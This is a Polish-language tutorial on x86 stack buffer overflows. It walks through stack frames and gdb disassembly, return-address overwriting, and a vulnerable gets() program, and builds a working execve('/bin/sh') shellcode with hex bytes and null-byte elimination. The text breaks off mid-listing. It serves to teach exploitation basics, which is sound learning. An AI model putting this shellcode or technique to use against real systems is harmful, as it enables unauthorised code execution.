1. Wprowadzenie
1.1 Czym jest przepełnienie bufora
1.2 Założenia
2. Podstawowe informacje
2.1 Organizacja pamięci programu
2.2 Stos
2.3 Mechanizm wywoływania funkcji
2.3.1 Instrukcja CALL
2.3.2 Instrukcja RET
3. Teoria w praktyce
3.1 Prosty program i jego kod
3.1.1 Kompilacja programu
3.1.2 Kompilacja programu do kodu Assemblera
3.1.3 Oglądanie kodu programu przy pomocy gdb
3.2 Analiza wykonania przykładu
4. Modyfikacja przebiegu programu
4.1 Pierwsza wersja programu
4.2 Zmiana przebiegu
5. Przepełnianie bufora
5.1 Przykład
6. Generowanie szkodnika
6.1 Wywołanie powłoki
6.2 Obsługa sytuacji awaryjnych
7. Shellcode w akcji
8. Jak się bronić
9. Bibliografia
Przepełnienie bufora jest to popularna nazwa techniki wykorzystywanej do przejęcia kontroli nad wykonującym się w systemie procesem. Technika ta wykorzystuje błąd programisty, który nie sprawdza czy ilość wprowadzonych przez użytkownika danych nie przekracza dopuszczalnego rozmiaru. Brak kontroli pozwala na wprowadzenie większej ilości danych, a informacje wykraczające poza zadeklarowany przez programistę rozmiar, będą umieszczane w pamięci za buforem modyfikując fragmenty pamięci nie związane z samym buforem. W przypadku, gdy użytkownik przekroczy zakres ale nie stara się przejąć kontroli nad systemem, program prawdopodobnie zakończy działanie bądź wykona jakąś nieoczekiwaną instrukcję. Znacznie gorzej jest w sytuacji, gdy użytkownik świadomie wprowadza zbyt wiele znaków, chcąc tym samym przejąć kontrolę nad procesem. W takiej sytuacji może dojść do przejęcia uprawnień wykonującego się procesu co może powodować bardzo duże zagrożenie dla całego systemu.
Przepełnianie bufora jest możliwe w sytuacji, gdy brakuje kontroli nad ilością wprowadzanych danych. Najbardziej zagrożone są programy pisane w językach niskopoziomowych takich jak Assembler lub w językach trochę wyższego poziomu ale mimo wszystko pozwalających na dość swobodne manipulowanie pamięcią (C, C++). Języki wysokopoziomowe takie jak np. Java posiadają wbudowane mechanizmy ochrony przed różnorakimi błędami związanymi z pamięcią. Jednak dostępność tych mechanizmów okupywana jest znaczną stratą wydajności (nie należy także ulegać złudzeniu bycia bezpiecznym, sam język również może mieć jakieś błędy...).
Na potrzeby tego dokumentu przyjęte zostaną następujące założenia:
Niestety w związku z tym, że prezentowana technika tak bardzo zależy od konfiguracji komputera, na którym jest wykorzystywana, przedstawione przykłady mogą nie zadziałać pomimo zgodności konfiguracji komputera testowego z tą przedstawioną powyżej. W związku z tym podaję konfigurację komputera, na której zostały sprawdzone:
Pamięć procesu przedstawia następujący rysunek:
Poszczególne fragmenty pamięci zawierają:
Stos jest to ciągły obszar pamięci implementujący kolejkę FILO (pierwszy
wchodzi ostatni wychodzi). Operacje na stosie (push, pop) dostarczane są
przez odpowiednie instrukcje procesora (odpowiednio PUSH i POP). Stos jest
ściśle związany z mechanizmem wywoływania funkcji i przechowuje tzw. ramki
umieszczanych tam w momencie wywołania funkcji i zdejmowanych w chwili powrotu
z funkcji. Każda ramka zawiera następujące elementy:
Dodatkowo należy zwrócić uwagę, że na maszynach typu x86 stos rośnie od
adresów wysokich ku niższym (najwyższy element na stosie ma najniższy adres).
Przykładowy wierzchołek stosu przedstawia poniższy rysunek:
Rysunek, oprócz przykładowej ramki, przedstawia także zawartość dwóch rejestrów procesora:
Dostępność rejestru EBP oraz pozycja na stosie jaką wskazuje pozwala na
odwoływanie się do argumentów funkcji oraz do jej zmiennych lokalnych poprzez
dodanie odpowiedniej wartości do EBP. Przykładowo:
EBP + 4 = adres powrotu EBP + 8 = pierwszy argument EBP - 4 = pierwsza zmienna lokalna funkcji
(wartościami dodawanymi są wielokrotności 4 ponieważ każdy element stosu ma długość jednego słowa a te ma 4 bajty (na maszynie x86).
Mechanizm umożliwiający wywoływanie funkcji musi zapewnić , że, po zakończeniu wykonywania wywoływanej funkcji, sterowanie wróci do miejsca wywołania. Aby to zapewnić procesory x86 udostępniają instrukcje CALL oraz RET (omówione poniżej). Dodatkowo na stos należy włożyć argumenty funkcji oraz zadbać o zapamiętanie adresu ramki funkcji wywołującej i odpowiednie uaktualnienie wskaźnika aktualnej ramki (rejestr EBP). O te czynności zadbać trzeba samodzielnie (oczywiście jeżeli programujemy w assemblerze, w przypadku języków wyższego poziomu odpowiednie operacje przeprowadza kompilator).
W przypadku języka C wywołanie funkcji odbywa się następująco:
Współczesne kompilatory starają się zoptymalizować (przyspieszyć) kod. Jedną z metod osiągnięcia tego jest powiększenie stosu (w momencie wykonywania kodu funkcji) o znacznie większą ilość komórek niż jest to potrzebne do przechowywania zmiennych lokalnych. Dodatkowa pamięć jest wykorzystywana np. do przyspieszenia funkcji. Na przykład zamiast używać instrukcji PUSH i POP, które wkładają odpowiedni element na stos i uaktualniają rejestr ESP, można "wkładać" elementy w odpowiednie miejsca poniżej wierzchołka stosu (oczywiście dbając o to aby nie uszkodzić znajdujących się tam danych) co można zrealizować przy pomocy jednej instrukcji.
Instrukcja CALL działa następująco:
Instrukcja RET działa następująco:
Aby zrozumieć proces przepełniania bufora trzeba wiedzieć jak uzyskać dostęp
do kodu Assemblera do jakiego kompiluje się nasz program oraz umieć z tego
kodu wyciągać interesujące nas informacje. Podstawowe informacje na temat tego
jak wygląda przedstawiona w rozdziale 2 teoria w praktyce, zdobędziemy poprzez
analizę prostego programu:
przyklad1.c:
int funkcja(int a, int b, int c) { int x; } int main() { funkcja(1,2,3); }
Prezentowane tutaj przykłady warto po prostu skompilować i spróbować
uruchomić. W tym celu korzystamy z polecenia:
gcc -o nazwa_pliku -ggdb nazwa_pliku.c
Użycie flagi -ggdb spowoduje dodanie informacji o symbolach przydatnych podczas debugowania programu. Symbole te mogą pomóc w przypadku, gdy program nie zadziała tak jak powinien i chcielibyśmy dowiedzieć się dlaczego.
Aby obejrzeć kod Assemblera do jakiego zostanie skompilowany nasz program, należy podczas kompilacji dodać opcję -S:
gcc -S -o nazwa_pliku.s nazwa_pliku.c
Kod wygenerowany przy pomocy tej komendy z przykładowego programu wygląda następująco:
.file "przyklad1.c" .text .globl funkcja .type funkcja, @function funkcja: pushl %ebp movl %esp, %ebp subl $4, %esp leave ret .size funkcja, .-funkcja .globl main .type main, @function main: pushl %ebp movl %esp, %ebp subl $24, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp movl $3, 8(%esp) movl $2, 4(%esp) movl $1, (%esp) call funkcja leave ret .size main, .-main .section .note.GNU-stack,"",@progbits .ident "GCC: (GNU) 3.4.5 (Gentoo 3.4.5, ssp-3.4.5-1.0, pie-8.7.9)"
Inną bardzo pożyteczna metodą oglądania kodu Assemblera do jakiego został skompilowany nasz program, jest wykorzystanie gdb. Aby z tej metody skorzystać musimy wykonać następujące kroki:
gcc -o nazwa_pliku -ggdb nazwa_pliku.c gdb nazwa_pliku
Po wykonaniu powyższych komend, otworzy się konsola programu gdb. Teraz aby obejrzeć kod wybranej funkcji należy wpisać komendę:
disassemble funkcja
Dla naszego przykładowego programu, odpowiedni kod wygląda następująco (mamy dwie funkcje, a więc trzeba wydać odpowiednią komendę dla obu z nich).
(gdb) disassemble main Dump of assembler code for function main: 0x0804836c <main+0>: push %ebp 0x0804836d <main+1>: mov %esp,%ebp 0x0804836f <main+3>: sub $0x18,%esp 0x08048372 <main+6>: and $0xfffffff0,%esp 0x08048375 <main+9>: mov $0x0,%eax 0x0804837a <main+14>: add $0xf,%eax 0x0804837d <main+17>: add $0xf,%eax 0x08048380 <main+20>: shr $0x4,%eax 0x08048383 <main+23>: shl $0x4,%eax 0x08048386 <main+26>: sub %eax,%esp 0x08048388 <main+28>: movl $0x3,0x8(%esp) 0x08048390 <main+36>: movl $0x2,0x4(%esp) 0x08048398 <main+44>: movl $0x1,(%esp) 0x0804839f <main+51>: call 0x8048364 <funkcja> 0x080483a4 <main+56>: leave 0x080483a5 <main+57>: ret 0x080483a6 <main+58>: nop 0x080483a7 <main+59>: nop 0x080483a8 <main+60>: nop 0x080483a9 <main+61>: nop 0x080483aa <main+62>: nop 0x080483ab <main+63>: nop 0x080483ac <main+64>: nop 0x080483ad <main+65>: nop 0x080483ae <main+66>: nop 0x080483af <main+67>: nop End of assembler dump. (gdb) disassemble funkcja Dump of assembler code for function funkcja: 0x08048364 <funkcja+0>: push %ebp 0x08048365 <funkcja+1>: mov %esp,%ebp 0x08048367 <funkcja+3>: sub $0x4,%esp 0x0804836a <funkcja+6>: leave 0x0804836b <funkcja+7>: ret End of assembler dump.
Warto w tym momencie zauważyć, że kod jaki można obejrzeć dzięki gdb niesie ze sobą znacznie więcej informacji niż ten uzyskiwany dzięki kompilacji z flagą -S. Ta forma prezentacji kodu daje nam bowiem oprócz samych instrukcji, także ich adresy w pamięci oraz offset względem początku funkcji, co jak się później okaże jest nie do przecenienia.
Prześledźmy teraz co się dzieje podczas wykonania programu (będzie nam głównie zależało na zrozumieniu jak poszczególne instrukcje wpływają na stos).
Początkowo, przed wywołaniem funkcji, stos wygląda tak:
int main() { |
|
0x0804836c <main+0>: push %ebp 0x0804836d <main+1>: mov %esp,%ebp 0x0804836f <main+3>: sub $0x18,%esp 0x08048372 <main+6>: and $0xfffffff0,%esp 0x08048375 <main+9>: mov $0x0,%eax 0x0804837a <main+14>: add $0xf,%eax 0x0804837d <main+17>: add $0xf,%eax 0x08048380 <main+20>: shr $0x4,%eax 0x08048383 <main+23>: shl $0x4,%eax 0x08048386 <main+26>: sub %eax,%esp |
|
Wykonanie programu rozpoczyna się od skoku do funkcji main, jest to funkcja taka jak każda inna, w związku z tym należy zadbać o zapamiętanie EBP z poprzedniej funkcji oraz o uaktualnienie EBP aby wskazywał na aktualną ramkę. Instrukcje assemblerowe zaczynające się od main+3 odpowiedzialne są w celu przyspieszenia działania funkcji. Ich działanie nie jest dla nas istotne i to jak wpływają na stos nie będzie zaznaczane. | |
funkcja(1,2,3); |
|
0x08048388 <main+28>: movl $0x3,0x8(%esp) 0x08048390 <main+36>: movl $0x2,0x4(%esp) 0x08048398 <main+44>: movl $0x1,(%esp) 0x0804839f <main+51>: call 0x8048364 <funkcja> |
|
Na stos odkładane są poszczególne argumenty dla funkcji funkcja. Widać tutaj, że w C atrybuty odkładane są w kolejności od ostatniego do pierwszego. Dodatkowo warto zauważyć tutaj, że umieszczanie argumentów na stosie odbywa się nie przy pomocy instrukcji PUSH tylko za pomocą instrukcji MOVL. Takie podejście jest możliwe ponieważ wierzchołek stosu jest na tyle "wysoko" aby postępując w ten sposób nie uszkodzić żadnych istotnych dla programu komórek pamięci. Dodatkowo instrukcja CALL odkłada na stosie adres powrotu oraz powoduje przekazanie sterowania do kodu funkcji funkcja. | |
int funkcja (int a, int b, int c) { |
|
0x08048364 <funkcja+0>: push %ebp 0x08048365 <funkcja+1>: mov %esp,%ebp |
|
Na wstępie wywoływana funkcja dba o to aby zapamiętać adres ramki funkcji wywołującej i uaktualnia EBP aby wskazywał na aktualną ramkę. | |
int x; |
|
0x08048367 <funkcja+3>: sub $0x4,%esp |
|
Funkcja rezerwuje pamięć na zmienną x. Jest to zmienna typu int a więc ma
4 bajty. Dostęp do tej zmiennej jest możliwy poprzez odwołanie się do
rejestru EBP.
&x = EBP + 4 |
|
} |
|
0x0804836a <funkcja+6>: leave 0x0804836b <funkcja+7>: ret |
|
Wyjście z funkcji funkcja. Instrukcja LEAVE zapewnia, że w momencie wywołania RET na szczycie stosu będzie się znajdował adres pod jaki należy skoczyć. Instrukcja RET zdejmuje ten adres i wykonuje odpowiedni skok. | |
} |
|
0x080483a4 <main+56>: leave 0x080483a5 <main+57>: ret |
|
Wyjście z funkcji main. Stos jest w takim stanie w jakim był przed wykonaniem funkcji. |
Teraz, gdy już wiadomo jak wygląda pamięć procesu, zrobimy z tej wiedzy użytek.
Rozważmy następujący przykład:
przyklad2.c
void funkcja (int a, int b, int c) { int *wsk; } int main () { int a, b; a = 1; b = 2; funkcja(a,b,3); a = 5; printf("%d\n", a); }
Cel do jakiego będziemy dążyć to taka modyfikacja kodu funkcji funkcja aby pominięta została instrukcja a = 5 z funkcji main. Aby do tego dojść, prześledźmy co się dzieje w pamięci procesu w trakcie wykonania programu:
int main () { int a, b; |
|
0x0804839c <main+0>: push %ebp 0x0804839d <main+1>: mov %esp,%ebp 0x0804839f <main+3>: sub $0x18,%esp 0x080483a2 <main+6>: and $0xfffffff0,%esp 0x080483a5 <main+9>: mov $0x0,%eax 0x080483aa <main+14>: add $0xf,%eax 0x080483ad <main+17>: add $0xf,%eax 0x080483b0 <main+20>: shr $0x4,%eax 0x080483b3 <main+23>: shl $0x4,%eax 0x080483b6 <main+26>: sub %eax,%esp |
|
Wstępne czynności związane z wywołaniem funkcji main (umieszczenie
odpowiednich elementów na stosie, oraz rezerwacja pamięci). |
|
a = 1; b = 2; |
|
0x080483b8 <main+28>: movl $0x1,0xfffffffc(%ebp) 0x080483bf <main+35>: movl $0x2,0xfffffff8(%ebp) |
|
Przypisanie odpowiednich wartości na zmienne. |
|
funkcja(a, b, 3) |
|
0x080483c6 <main+42>: movl $0x3,0x8(%esp) 0x080483ce <main+50>: mov 0xfffffff8(%ebp),%eax 0x080483d1 <main+53>: mov %eax,0x4(%esp) 0x080483d5 <main+57>: mov 0xfffffffc(%ebp),%eax 0x080483d8 <main+60>: mov %eax,(%esp) 0x080483db <main+63>: call 0x8048394 <funkcja> |
|
Wywołanie funkcji. |
|
void funkcja (int a, int b, int c) { int *wsk; |
|
0x08048394 <funkcja+0>: push %ebp 0x08048395 <funkcja+1>: mov %esp,%ebp 0x08048397 <funkcja+3>: sub $0x4,%esp |
|
Odłożenie na stos EBP z funkcji main i przesunięcie stosu o jedno długie
słowo w dół, tak aby zmieściła się zmienna wsk. |
|
} |
|
0x0804839a <funkcja+6>: leave 0x0804839b <funkcja+7>: ret |
|
Wyjście z funkcji. Zabranie ze stosu wszystkich elementów dodanych tam podczas
wykonywania funkcji oraz zapisanie w EIP adresu powrotu (skok do
main). |
|
a = 5; |
|
0x080483e0 <main+68>: movl $0x5,0xfffffffc(%ebp) |
|
Przypisanie wartości 5 na zmienną a (warto zwrócić uwagę jak wygląda odwołanie
do zmiennej w assemblerze). |
|
printf("%d\n", a); |
|
0x080483e7 <main+75>: mov 0xfffffffc(%ebp),%eax 0x080483ea <main+78>: mov %eax,0x4(%esp) 0x080483ee <main+82>: movl $0x80484f8,(%esp) 0x080483f5 <main+89>: call 0x80482d0 <printf@plt> |
|
Wywołanie funkcji printf (tutaj warto zauważyć że łańcuchy są przechowywane
w innym miejscem i odwołanie do nich odbywa się poprzez etykietę tłumaczoną
później na odpowiedni adres). |
|
} |
|
0x080483fa <main+94>: leave 0x080483fb <main+95>: ret |
Przyjrzyjmy się dokładniej temu co zawiera stos po wejściu do funkcji
funkcja:
Aby zmienić przebieg wykonania programu, trzeba dobrać się do adresu powrotu
z funkcji funkcja. Będąc wewnątrz funkcji mamy dostęp do następujących
pozycji na stosie:
W związku z tym, aby zmodyfikować adres powrotu wystarczy zmodyfikować wartość znajdującą się pod odpowiednim adresem, np:
&a - 1
Zamiast 4 dodawane jest 1 ponieważ &a jest typu int * a więc standardowo każda dodawana liczba ma 4 bajty.
Skoro wiemy już co modyfikować, trzeba jeszcze dowiedzieć się jaki jest adres instrukcji następującej po a = 5. Spójrzmy na odpowiedni fragment kodu assemblerowego prezentowanego przez gdb dla funkcji main:
(gdb) disassemble main (...) 0x080483db ;<main+63>: call 0x8048394 <funkcja> 0x080483e0 ;<main+68>: movl $0x5,0xfffffffc(%ebp) 0x080483e7 ;<main+75>: mov 0xfffffffc(%ebp),%eax (...) (gdb)
W powyższym przykładzie adres powrotu standardowo wynosi 0x080483e0, a chcemy
go zmienić na 0x080483e7. A więc do adresu powrotu należy dodać 7.
Oto kod po wprowadzeniu modyfikacji:
przyklad3.c
void funkcja (int a, int b, int c) { int *wsk; wsk = &a - 1; *wsk += 7; } int main () { int a, b; a = 1; b = 2; funkcja(a,b,3); a = 5; printf("%d\n", a); }
Poniżej znajduje się omówienie tego co się dzieje na stosie w tak zmodyfikowanym programie
int main () { int a; a = 1; |
|
funkcja(1,2,3); |
|
void funkcja (int a, int b, int c) { int *wsk; |
|
wsk = &a - 1; |
|
*wsk += 7; |
|
printf("%d\n", a); } |
Wiedza zdobyta do tej pory pozwalała na zmianę przebiegu programu w sytuacji, w której mieliśmy wpływ na kod programu, mogliśmy swobodnie coś dodać, skompilować i sprawdzić. Jak łatwo się domyślić ataki wykorzystujące opisywaną technikę nie polegają na kompilacji programu i podsunięciu tak stworzonego szkodnika jakiemuś użytkownikowi. Technika ta opiera się na możliwości podania programowi odpowiednio spreparowanego łańcucha znaków. W jaki sposób to może zaszkodzić programowi podatnemu na przepełnianie bufora, przekonamy się w tym rozdziale.
Rozważmy następujący program:
przyklad4.c
int main () { char bufor[16]; gets(bufor); }
Powyższy program oczekuje na wprowadzenie łańcucha znaków. Zobaczmy co się stanie, gdy użytkownik wprowadzi znacznie więcej znaków niż przewiduje to rozmiar bufora (np. ponad 30 literek A).
int main () { char bufor[16]; gets(bufor); |
|
użytkownik wprowadza AAAAAAAA.... |
|
} |
Jak widać na powyższym przykładzie konstrukcje nie zapewniające kontroli długości wprowadzanych łańcuchów są bardzo niebezpieczne. W wyniku wprowadzenia takiego wejścia jak w przykładzie, program prawdopodobnie zakończyłby się z błędem. Możliwe jest jednak takie sprepraowanie łańcucha jaki zostanie wprowadzony, aby dokonany skok nie był błędny tylko spowodował wykonanie podanego na wejściu kodu. O tym, jak wygenerować odpowiedni zestaw znaków, mowa jest w następnym rozdziale.
W poprzednim rozdziale widać było w jaki sposób można wykorzystać błąd i nadpisać adres powrotu. Nadal jednak pozostaje zagadką jakie znaki należałoby umieścić w buforze aby zmusić do udostępnienia nam powłoki.
Zacznijmy od zapisania w C programu, który powoduje wywołanie powłoki
systemowej:
przyklad5.c
#include <stdio.h> int main () { char *nazwa[2]; nazwa[0] = "/bin/sh"; nazwa[1] = NULL; execvp(nazwa[0], nazwa, NULL); }
To co jest najistotniejsze w tym programie to wykonanie instrukcji execvp. Przyjrzyjmy się więc co się w niej dzieje.
0x0804e200 <execve+0>: push %ebp 0x0804e201 <execve+1>: mov $0x0,%eax 0x0804e206 <execve+6>: test %eax,%eax 0x0804e208 <execve+8>: mov %esp,%ebp | Inicjacja |
0x0804e20a <execve+10>: push %ebx |
zapamiętanie poprzedniej wartosci ebx |
0x0804e20b <execve+11>: mov 0x8(%ebp),%ebx |
adres "/bin/sh" na ebx |
0x0804e20e <execve+14>: je 0x804e215 <execve+21> 0x0804e210 <execve+16>: call 0x0 |
asercja |
0x0804e215 <execve+21>: mov 0xc(%ebp),%ecx 0x0804e218 <execve+24>: mov 0x10(%ebp),%edx |
adres "nazwa" na ecx, NULL na edx |
0x0804e21b <execve+27>: mov $0xb,%eax |
11 na eax (numer execvp z /usr/include/asm/unistd.h) |
0x0804e220 <execve+32>: int $0x80 |
Wywołanie funkcji systemowej o numerze zapisanym w eax (11). |
0x0804e222 <execve+34>: cmp $0xfffff000,%eax 0x0804e227 <execve+39>: mov %eax,%ebx 0x0804e229 <execve+41>: ja 0x804e230 <execve+48> 0x0804e22b <execve+43>: mov %ebx,%eax 0x0804e22d <execve+45>: pop %ebx 0x0804e22e <execve+46>: leave 0x0804e22f <execve+47>: ret 0x0804e230 <execve+48>: neg %ebx 0x0804e232 <execve+50>: call 0x8048940 <__errno_location> 0x0804e237 <execve+55>: mov %ebx,(%eax) 0x0804e239 <execve+57>: mov $0xffffffff,%ebx 0x0804e23e <execve+62>: mov %ebx,%eax 0x0804e240 <execve+64>: pop %ebx 0x0804e241 <execve+65>: leave 0x0804e242 <execve+66>: ret |
Nie istotne z naszego punktu widzenia |
A więc aby wykonać funkcję execve należy:
Wiemy już jak nakazać wykonanie "/bin/sh", ale co się stanie, jeżeli
execve nie wykona się prawidłowo? Program zacznie wykonywać instrukcje
na podstawie wartości znajdujących się na stosie, który może zawierać
bardzo różne dane. W związku z tym należy zadbać aby, w przypadku powrotu
z funkcji execvp, program prawidłowo zakończył swoje działanie. Aby zobaczyć
jakich instrukcji potrzebujemy, prześledźmy poniższy program:
przyklad6.c
#include <stdio.h> int main() { exit(0); }
Zobaczmy jak zachowuje się funkcja exit:
0x0804e1cc <_exit+0>: mov 0x4(%esp),%ebx |
zapisanie wartości 0x4(%esp) - wartość będącą na wierzchołku stosu (wartość jaką exit ma zwrócić). |
0x0804e1d0 <_exit+4>: mov $0xfc,%eax 0x0804e1d5 <_exit+9>: int $0x80 |
0xfc jest numerem funkcji powodującej wyjście z grupy procesów |
0x0804e1d7 <_exit+11>: mov $0x1,%eax 0x0804e1dc <_exit+16>: int $0x80 | 1 - numer funkcji systemowej exit. |
0x0804e1de <_exit+18>: hlt 0x0804e1df <_exit+19>: nop |
zakończenie programu |
Złóżmy to wszystko razem i zobaczmy co musimy teraz wykonać:
Skoro wiadomo już co należy zrobić, zapiszmy to:
movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string idzie tutaj.
Pojawia się niestety problem. Polega on na tym, że instrukcje mov, lea operują na adresach bezwzględnych a więc musielibyśmy znać dokładny adres łańcucha "/bin/sh". Jedną z metod na obejście tego problemu jest wykorzystanie instrukcji skoku oraz wywołania (JMP i CALL), które operują na adresach względnych. Aby uzyskać adres naszego kodu dodajemy przed łańcuchem /bin/sh instrukcję CALL a na początku kodu instrukcję JMP do tej instrukcji CALL.
jmp offset-to-call popl %esi movl %esi,array-offset(%esi) movb $0x0,nullbyteoffset(%esi) movl $0x0,null-offset(%esi) movl $0xb,%eax movl %esi,%ebx leal array-offset,(%esi),%ecx leal null-offset(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call offset-to-popl /bin/sh string idzie tutaj.
Należy tylko wyliczyć offset o jaki należy skoczyć instrukcją jmp
oraz offset o jaki należy wrócić instrukcją call. Aby to zrobić, skompilujmy
następujący program:
przyklad7.c
int main() { __asm__("\n\t" "jmp 0x0 \n\t" "popl %esi \n\t" "movl %esi,0x8(%esi) \n\t" "movb $0x0,0x7(%esi) \n\t" "movl $0x0,0xc(%esi) \n\t" "movl $0xb,%eax \n\t" "movl %esi,%ebx \n\t" "leal 0x8(%esi),%ecx \n\t" "leal 0xc(%esi),%edx \n\t" "int $0x80 \n\t" "movl $0x1, %eax \n\t" "movl $0x0, %ebx \n\t" "int $0x80 \n\t" "call -0x0 \n\t" ".string \"/bin/sh\" \n" ); }
Przyjrzyjmy się, jak wygląda kod powyższego programu:
(gdb) disassemble main Dump of assembler code for function main: 0x08048364 <main+0>: push %ebp 0x08048365 <main+1>: mov %esp,%ebp 0x08048367 <main+3>: sub $0x8,%esp 0x0804836a <main+6>: and $0xfffffff0,%esp 0x0804836d <main+9>: mov $0x0,%eax 0x08048372 <main+14>: add $0xf,%eax 0x08048375 <main+17>: add $0xf,%eax 0x08048378 <main+20>: shr $0x4,%eax 0x0804837b <main+23>: shl $0x4,%eax 0x0804837e <main+26>: sub %eax,%esp 0x08048380 <main+28>: jmp 0x8048381 <main+29> 0x08048385 <main+33>: pop %esi 0x08048386 <main+34>: mov %esi,0x8(%esi) 0x08048389 <main+37>: movb $0x0,0x7(%esi) 0x0804838d <main+41>: movl $0x0,0xc(%esi) 0x08048394 <main+48>: mov $0xb,%eax 0x08048399 <main+53>: mov %esi,%ebx 0x0804839b <main+55>: lea 0x8(%esi),%ecx 0x0804839e <main+58>: lea 0xc(%esi),%edx 0x080483a1 <main+61>: int $0x80 0x080483a3 <main+63>: mov $0x1,%eax 0x080483a8 <main+68>: mov $0x0,%ebx 0x080483ad <main+73>: int $0x80 0x080483af <main+75>: call 0x80483b0 <main+76> 0x080483b4 <main+80>: das 0x080483b5 <main+81>: bound %ebp,0x6e(%ecx) 0x080483b8 <main+84>: das 0x080483b9 <main+85>: jae 0x8048423 <__libc_csu_fini+19> 0x080483bb <main+87>: add %cl,%cl 0x080483bd <main+89>: ret 0x080483be <main+90>: nop 0x080483bf <main+91>: nop End of assembler dump. (gdb)
Aby wyliczyć offset jaki należy wpisać w instrukcji jmp należy wykonać proste działanie
(main+75) - (main+29) = 46 = 0x2e
- main+29
ponieważ bajt main+28 jest zajęty przez kod instrukcji jmp
Analogicznie dla instrukcji CALL:
(main + 33) - (main + 76) = -43 = -0x2b
Ostatecznie, nasz szkodnik wygląda następująco:
przyklad8.c
int main() { __asm__("\n\t" "jmp 0x2e \n\t" "popl %esi \n\t" "movl %esi,0x8(%esi) \n\t" "movb $0x0,0x7(%esi) \n\t" "movl $0x0,0xc(%esi) \n\t" "movl $0xb,%eax \n\t" "movl %esi,%ebx \n\t" "leal 0x8(%esi),%ecx \n\t" "leal 0xc(%esi),%edx \n\t" "int $0x80 \n\t" "movl $0x1, %eax \n\t" "movl $0x0, %ebx \n\t" "int $0x80 \n\t" "call -0x2b \n\t" ".string \"/bin/sh\"" ); }
Po kompilacji i próbie uruchomienia powinniśmy dostać... błąd Segmentation Fault. Wynika to z tego, że próbujemy modyfikować własny kod, który leży w fragmencie pamięci tylko do odczytu. Mimo tego program ten przyda nam się aby uzyskać szesnastkową reprezentację tego kodu (aby można ją było zapisać w łańcuchu). W tym celu wykorzystamy gdb:
(gdb) disassemble main Dump of assembler code for function main: 0x08048364 <main+0>: push %ebp 0x08048365 <main+1>: mov %esp,%ebp 0x08048367 <main+3>: sub $0x8,%esp 0x0804836a <main+6>: and $0xfffffff0,%esp 0x0804836d <main+9>: mov $0x0,%eax 0x08048372 <main+14>: add $0xf,%eax 0x08048375 <main+17>: add $0xf,%eax 0x08048378 <main+20>: shr $0x4,%eax 0x0804837b <main+23>: shl $0x4,%eax 0x0804837e <main+26>: sub %eax,%esp 0x08048380 <main+28>: jmp 0x80483ab <main+71> 0x08048385 <main+33>: pop %esi 0x08048386 <main+34>: mov %esi,0x8(%esi) 0x08048389 <main+37>: movb $0x0,0x7(%esi) 0x0804838d <main+41>: movl $0x0,0xc(%esi) 0x08048394 <main+48>: mov $0xb,%eax 0x08048399 <main+53>: mov %esi,%ebx 0x0804839b <main+55>: lea 0x8(%esi),%ecx 0x0804839e <main+58>: lea 0xc(%esi),%edx 0x080483a1 <main+61>: int $0x80 0x080483a3 <main+63>: mov $0x1,%eax 0x080483a8 <main+68>: mov $0x0,%ebx 0x080483ad <main+73>: int $0x80 0x080483af <main+75>: call 0x8048381 <main+29> 0x080483b4 <main+80>: das 0x080483b5 <main+81>: bound %ebp,0x6e(%ecx) 0x080483b8 <main+84>: das 0x080483b9 <main+85>: jae 0x8048423 <__libc_csu_fini+19> 0x080483bb <main+87>: add %cl,%cl 0x080483bd <main+89>: ret 0x080483be <main+90>: nop 0x080483bf <main+91>: nop End of assembler dump. (gdb) x/bx main+28 0x8048380 <main+28>: 0xe9 (gdb) x/bx main+29 0x8048381 <main+29>: 0x2a
Rozbierając tak wszystkie instrukcje od main+28 do main+69 otrzymamy pełen
kod. Spójrzmy teraz na następujący program:
przyklad9.c
char shellcode[]= "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46" "\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08" "\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00" "\xcd\x80\xe8\xd1\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
Po skompilowaniu i uruchomieniu programu powinniśmy dostać nową powłokę
a to oznacza sukces! Udało się. Program nie protestuje podczas modyfikowania
kodu ponieważ znajduje się on w segmencie danych zainicjowanych.
Przygotowany przez nas shellcode ma niestety dużą wadę. Koniec łańcucha w
C jest rozpoznawany przez znak \0. Nasz shellcode zawiera ich dość dużo
ale na szczęście można je wyeliminować.
Instrukcja problematyczna |
Zamiennik |
movb $0x0,0x7(%esi) molv $0x0,0xc(%esi) |
xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) |
movl $0xb,%eax |
movb $0xb,%al |
movl $0x1, %eax movl $0x0, %ebx |
xorl %ebx,%ebx movl %ebx,%eax inc %eax |
Po dokonaniu powyższych zmian mamy następujący kod w assemblerze (trzeba pamiętać o uaktualnieniu wartości offsetu dla JMP i CALL):
0x08048364 <main+0>: push %ebp 0x08048365 <main+1>: mov %esp,%ebp 0x08048367 <main+3>: sub $0x8,%esp 0x0804836a <main+6>: and $0xfffffff0,%esp 0x0804836d <main+9>: mov $0x0,%eax 0x08048372 <main+14>: add $0xf,%eax 0x08048375 <main+17>: add $0xf,%eax 0x08048378 <main+20>: shr $0x4,%eax 0x0804837b <main+23>: shl $0x4,%eax 0x0804837e <main+26>: sub %eax,%esp 0x08048380 <main+28>: jmp 0x80483a4 <main+64> 0x08048385 <main+33>: pop %esi 0x08048386 <main+34>: mov %esi,0x8(%esi) 0x08048389 <main+37>: xor %eax,%eax 0x0804838b <main+39>: mov %al,0x7(%esi) 0x0804838e <main+42>: mov %eax,0xc(%esi) 0x08048391 <main+45>: mov $0xb,%al 0x08048393 <main+47>: mov %esi,%ebx 0x08048395 <main+49>: lea 0x8(%esi),%ecx 0x08048398 <main+52>: lea 0xc(%esi),%edx 0x0804839b <main+55>: int $0x80 0x0804839d <main+57>: xor %ebx,%ebx 0x0804839f <main+59>: mov %ebx,%eax 0x080483a1 <main+61>: inc %eax 0x080483a2 <main+62>: int $0x80 0x080483a4 <main+64>: call 0x8048335 <main+33> 0x080483a9 <main+69>: das 0x080483aa <main+70>: bound 